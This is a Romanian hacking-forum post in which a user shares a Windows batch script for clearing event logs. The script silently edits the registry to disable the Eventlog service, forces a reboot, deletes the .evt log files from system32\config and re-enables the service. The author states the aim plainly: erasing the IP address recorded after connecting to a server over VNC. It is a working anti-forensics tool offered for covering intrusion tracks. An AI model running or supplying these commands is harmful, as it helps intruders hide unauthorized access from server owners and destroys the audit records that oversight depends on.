Jump to content
escalation666

Event Log Cleaner pentru windowze

Recommended Posts

Posted

Un mic script facut de mine


@echo off
@echo ***********************************************************************
@echo * *
@echo * Event Log cleaner *
@echo * by escalation666 *
@echo ***********************************************************************


echo Windows Registry Editor Version 5.00> temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog]>> temp.reg
echo "Start"=dword:00000004>> temp.reg
REGEDIT /S temp.reg
DEL /Q temp.reg
shutdown -r

Dupa ce ati executat scriptul, si dupa ce s-a restartat calc, puteti sterge log-urile din Event Viewer. Manual: del C:\windows\system32\config\*.evt

sau puteti face inca un script batch cu urmatoarea linie de cod:


del %SystemRoot%\system32\config\*.evt
echo Windows Registry Editor Version 5.00> temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog]>> temp.reg
echo "Start"=dword:00000002>> temp.reg
REGEDIT /S temp.reg
DEL /Q temp.reg

Log-urile is sterse, event viewer nu mai este disabled, and you are safe!

Este posibil ca unele servicii care sunt dependente de Event Logs sa nu mai functioneze, dar din cate am testat eu nu sunt astfel de probleme.

De ce e nevoie sa stergem log-urile din event viewer?

Pai simplu...daca te conectezi prin vnc la server, ti se logheaza ip-ul and you are fucked :(

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...